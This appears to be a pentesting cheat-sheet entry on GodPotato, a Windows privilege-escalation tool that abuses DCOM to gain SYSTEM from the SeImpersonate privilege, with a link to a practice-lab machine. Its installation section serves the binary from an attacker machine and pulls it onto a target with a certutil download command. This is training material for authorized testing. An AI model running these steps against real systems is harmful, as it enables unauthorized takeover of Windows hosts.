GodPotato
SeImpersonate → SYSTEM on modern Windows (successor to Juicy/RoguePotato).
A current escalation exploit that turns SeImpersonate into SYSTEM on modern Windows (8/10/11 and Server 2012-2022), where JuicyPotato and RoguePotato no longer work. It abuses DCOM over RPC.
Family Privilege escalation
Flags -cmd '<cmd>'
Concepts SeImpersonate and Potato attacks
Cheatsheet Token privileges → SYSTEM
Installation
# Prebuilt Windows binary (not installed on Kali): download the .exe from the
# repo's latest release and upload it to the target, e.g. serving it from Kali:
python3 -m http.server 80 # on Kali, in the binary's folder
certutil -urlcache -f http://<lhost>/GodPotato-NET4.exe GodPotato-NET4.exe # on the target (or SMB / evil-winrm 'upload')
# pick the build for the target's .NET (NET2/NET35/NET4)Useful commands
Appears in
Some machines where its use is documented; not an exhaustive list.
- JackoProving Grounds Practice